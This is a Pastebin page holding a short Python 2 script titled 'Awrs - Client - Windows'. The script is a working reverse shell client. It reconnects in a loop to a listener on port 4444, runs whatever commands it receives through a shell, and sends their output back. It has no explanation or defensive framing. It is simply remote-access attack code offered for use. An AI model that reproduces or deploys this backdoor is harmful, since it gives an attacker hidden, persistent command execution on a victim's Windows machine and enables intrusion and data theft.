Advertisement
Guest User

Awrs - Client - Windows

a guest
Nov 3rd, 2014
1,014
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.35 KB | None | 0 0
  1. import subprocess, os
  2. from socket import *
  3.  
  4. host = "127.0.0.1"
  5. port = 4444
  6.  
  7. def main():
  8.     while 1:
  9.         s=socket(AF_INET, SOCK_STREAM)
  10.         while 1:
  11.             try:
  12.                 s.connect((host,port))
  13.                 print "[INFO] Connected"
  14.                 break;
  15.             except:
  16.                 pass
  17.        
  18.         while 1:
  19.             try:
  20.                 msg=s.recv(4096)
  21.                 if ((msg != "exit") and ("cd " not in msg) and (msg != "hellows123")):
  22.                     comm = subprocess.Popen(str(msg), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  23.                     STDOUT, STDERR = comm.communicate()
  24.                     en_STDERR = bytearray(STDERR)
  25.                     en_STDOUT = bytearray(STDOUT)
  26.                     comm.kill()
  27.                     if (en_STDERR == ""): #dealing with invalid commands
  28.                         if (en_STDOUT != ""): #if the command has an output
  29.                             print en_STDOUT
  30.                             s.send(en_STDOUT)
  31.                         else: # if the command has not output then
  32.                             s.send("[CLIENT] Command Executed")
  33.                     else:
  34.                         print en_STDERR
  35.                         s.send(en_STDERR)
  36.                 elif ("cd " in msg): #dealing with the cd command
  37.                     msg = msg.replace("cd ","")
  38.                     os.chdir(msg)
  39.                     s.send(os.getcwd())
  40.                     print "[INFO] Changed dir to %s" % os.getcwd()
  41.                 elif (msg == "hellows123"): #welcome message
  42.                     s.send(os.getcwd())
  43.                 else:
  44.                     print "[INFO] Connection Closed"
  45.                     s.close()
  46.                     break
  47.             except:
  48.                 print "[INFO] Connection Closed"
  49.                 s.close()
  50.                 break
  51.                
  52. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement